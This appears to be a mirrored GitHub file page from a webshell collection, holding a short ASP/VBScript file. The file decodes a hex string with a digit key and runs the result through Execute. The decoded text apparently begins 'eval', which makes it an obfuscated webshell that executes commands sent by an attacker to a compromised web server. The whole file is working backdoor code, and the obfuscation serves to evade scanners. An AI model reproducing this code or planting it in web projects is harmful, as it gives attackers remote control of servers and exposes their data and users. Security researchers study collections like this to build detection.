mirror of
https://github.com/tennc/webshell
synced 2024-11-25 04:30:17 +00:00
19 lines
490 B
Text
19 lines
490 B
Text
<%
|
|
Function Writesource(str)
|
|
Response.write(str)
|
|
End Function
|
|
Function cd(ByVal s, ByVal key)
|
|
For i = 1 To Len(s) Step 2
|
|
c = Mid(s, i, 2)
|
|
k = (i + 1) / 2 Mod Len(key) + 1
|
|
p = Mid(key, k, 1)
|
|
If IsNumeric(Mid(s, i, 1)) Then
|
|
cd = cd & Chr(("&H" & c) - p)
|
|
Else
|
|
cd = cd & Chr("&H" & c & Mid(s, i + 2, 2))
|
|
i = i + 2
|
|
End If
|
|
Next
|
|
End Function
|
|
Execute cd("6877656D2B736972786677752B237E232C2A","1314")
|
|
%>
|